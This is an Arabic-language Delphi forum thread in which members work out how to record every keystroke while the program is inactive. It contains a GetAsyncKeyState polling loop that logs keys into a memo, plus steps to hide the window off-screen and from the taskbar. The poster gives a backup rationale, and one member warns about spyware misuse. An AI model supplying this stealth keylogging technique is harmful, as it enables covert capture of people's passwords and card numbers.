السلام عليكم ورحمة الله وبركاته
ممكن حد يدلني على طريقة تمكني من عد عدد الضغطات على لوحة المفاتيح حتى لو كان البرنامج الدي يقوم بالعد غير نشط ولكم مني أطيب التحياتي
أرجو أرفاق مثال .
:o
(clock)
السلام عليكم ورحمة الله وبركاته
ممكن حد يدلني على طريقة تمكني من عد عدد الضغطات على لوحة المفاتيح حتى لو كان البرنامج الدي يقوم بالعد غير نشط ولكم مني أطيب التحياتي
أرجو أرفاق مثال .
:o
(clock)
السلام عليكم
إذهب إلي On Key Up بيتاع الـ Edit مثلاً أو غيرها من الكمبونت التي لها مثل هذه الخاصية وأكتب فيها متغير
I := I + 1 ; Exit ;
وبعدها تصرف كما تريد ;):rolleyes::)وأن شاء الله تنجح
والسلام ختام
مشكور أخي ولكن جربت مثالك وعملت رن للبرنامج وضغط بالماوس على سطح المكتب حتى يصبح البرنامج غير نشط وقمت بالضغط على المفاتيح ولم يسجل شيئ فأرجو أن تحاول من جديد حيث أريد أن أحصل على عدد الضغطات على مفاتيح لوحة المفاتيح حتى لوكان البرنامج غير نشط
وأشكرك من جديد على التفاعل والمساعدة .
:D
عفوا :o لم الاحظ عبارة (( حتى ولو كان البرنامج غير نشط )) الآن فهمت الفكرة وسأحاول من جديد أن شاء الله
والسلام ختام
اظن الأخ يقصد نفس فكرة برامج التجسس ، بمعنى معرفة وتسجيل جميع الحركات التي تجري على الجهاز حتى على البرامج الأخرى
فقط اريد ان اقول ان الأسئلة كثرت عن نفس الموضوع والمفترض ان نعرف الإجابة كمبرمجين ولكن كمسلمين علينا ان لا نستخدمها في ما هو غير شرعي كما هو الحاصل في برامج التجسس من سرقة كلمات السر وارقام بطاقات الائتمان.
واسمحوا لي على هذا التعليق
السلام عليكم
أخي الكريم
قم بوضع Timer وكذلك Memo
في برنامجك واستخدم هذا الكود في التايمر
procedure TForm1.Timer1Timer(Sender: TObject); var keyloop, KeyResult : Integer; begin keyloop := 0; repeat KeyResult := GetAsyncKeyState(keyloop); if KeyResult = -32767 then begin if (KeyLoop >= 65) and (keyloop <= 90) then Memo1.Text := Memo1.Text + Chr(keyloop); if (keyloop >= 32) and (keyloop <= 63) then Memo1.Text := Memo1.Text + Chr(keyloop); if keyloop = 8 then Memo1.Text := copy(Memo1.Text,1,Length(memo1.Text) - 1); if (keyloop >= 96) and (keyloop <= 110) then Memo1.Text := Memo1.Text + Chr(keyloop); end; inc(keyloop); until keyloop = 255; end;
السلام عليكم
ممتاز ;)
ولكن هلك بالشرح
أسكر الأخ أبو فيصل على تقديم المساعدة وأشكر الجميع على المحاولة والتفاعل ولقد توصلت لحل هذه المشكلة عن طريق الكود التالي
for KeyPrees:=8 TO 255 DO
if (GetAsyncKeyState(KeyPrees)=-32767)or(GetAsyncKeyState(KeyPrees)=-32768) then
if ((keyprees>=65)and(keyprees<=90))or((keyprees>=96)and(keyprees<=110))
or((keyprees>=32)and(keyprees:D
الاخ صلاح الدين اين يكتب هذا الكود يعني اين اقوم بكتابتة ارجو الشرح وفقك الله
عفواً نسيت أن أذكر مكان كتابة هذا الكود وعلى كلاً سوف أقوم بشرح مفصل عن عمل هذا الكود .
أولاً السبب الرئيسي من محاولتي في البحث عن دالة تمكنني من الحصول على أي فعل يصدر من لوحة المفاتيح والمقصود بأي فعل أي الضغط على المفاتيح المستخدمة في الطباعة لتكوين ملف أحطياطي يخزن به كل ما قام المستخدم من عمله بالضغط على لوحة المفاتيح وذلك للرجوع إليه في حالة إنقطاع التيار الكهربائي عملية معقدة قليلاً تمكن من حفظ البيانات أثناء الكتابة وعليه أطرتني هذه الفكرة إلى البحث عن تطبيق يقوم بتسجيل كل ضغطات لوحة المفاتيح حتى لو كان هذا التطبيق غير نشط وهذا أمر طبيعي حيث أن المستخدم يعمل على برنامج أخر وبالتالي هذا البرنامج لن يكون نشط أي غير فعال ومن القواعد المنطقية في نظام تشغيل ويندوز هي أنه النافدة النشطة هي التي لها الحق فقط في أستقبال إشارات لوحة المفاتيح وعليه بدأت متاعبي من هذا المنطلق وتمكنت من تحديد هذه المشاكل وإجاد حلول لها كما يلي :-
1. أن يكون البرنامج مخفي عن الأنضار إي أن يكون غير ضاهر لا على سطح المكتب أو في شريط المهام وعليه تم إتخاذ التدابير التالية .
* تم تصغير التطبيق إلى أقصى حد يسمح به برنامج دلفي
* تم أعطاء قيمة form1.left:= -400 وذلك حتي يصبح الفورم خارج نطاق رسم شاشة الويندوز .
* أستخدام هذا الكود في إخفاء أختصار البرنامج من شريط المهام .
في الحدث OnCreate للفورم نكتب
SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
* ثم نقوم بإنزال تايمر من صفحة System وفي الحدث OnTimer نقوم بكتابة الكود السابق الذكر والذي يحتوي على الدالة GetAsyncKeyState التي تقوم بتحديد حالة مفاتيح الكيبورد ونعني بالحالة هنا هي أنه إذا عادة هذه الدالة بعد أعطائها قيمة المفتاح الذي تم الضغط عليه ( أسكي كود ) وهي قيمة رقمية تقع بين 0 و 255 وهي قيم الأسكي كود الخاصة بجميع مفاتيح لوحة المفاتيح فإذا أعطينا هذه الدالة رقم مفتاح وكان هذا المفتاح هو المتسبب في أحد حالات المفتاح المعروفة ( KeyUp; KeyDown;Keypress ) فإذا كانة قيمة المفتاح المعطاء هي المتسببة في الحالة 32767- فهذا يعني أن هذا الأسكي كود هو خاص بالمفتاح الذي في حالة ضغط عليه الأن وهكذا دواليه .
وتم وضع الدالة في لوب بحيث يقوم هذا اللوب بالأستفسار عن جميع قيم المفاتيح 256 في اللفة الزمنية الواحدة ومقارنتها بقيمة المتسبب في حالة الضغط إذا صح التعبير وبالتالي نحصل على الأسكي كود الخاص بالمفتاح الذي تم الضغط عليه ومن تم تحويلة إلى الرمز المقابل وللعلم يمكنك أستخدام أي من جمل اللوب المتاحة وهي جميعها تعمل بنفس الكفائه وتعطي نفس النتائج ويجب أن يكون الأنترفال الخاص بالتايمر = 1 للزيادة من سرعة أستجابته وتحليل القيم بما ويتوافق مع سرعة المستخدم في الطباعة.
أرجو أن أكون قد أوضحت الفكرة وأرجو أن تسألو إن لم تستطيعوا أستعاب عمل هذه الدالة حتى أزيد من الشرح حولها .
:D
هذا الموضوع مغلق.
المتواجدون خلال آخر دقيقتين · يتحدّث كل ٣٠ ثانية
جارٍ التحقق من المتواجدين…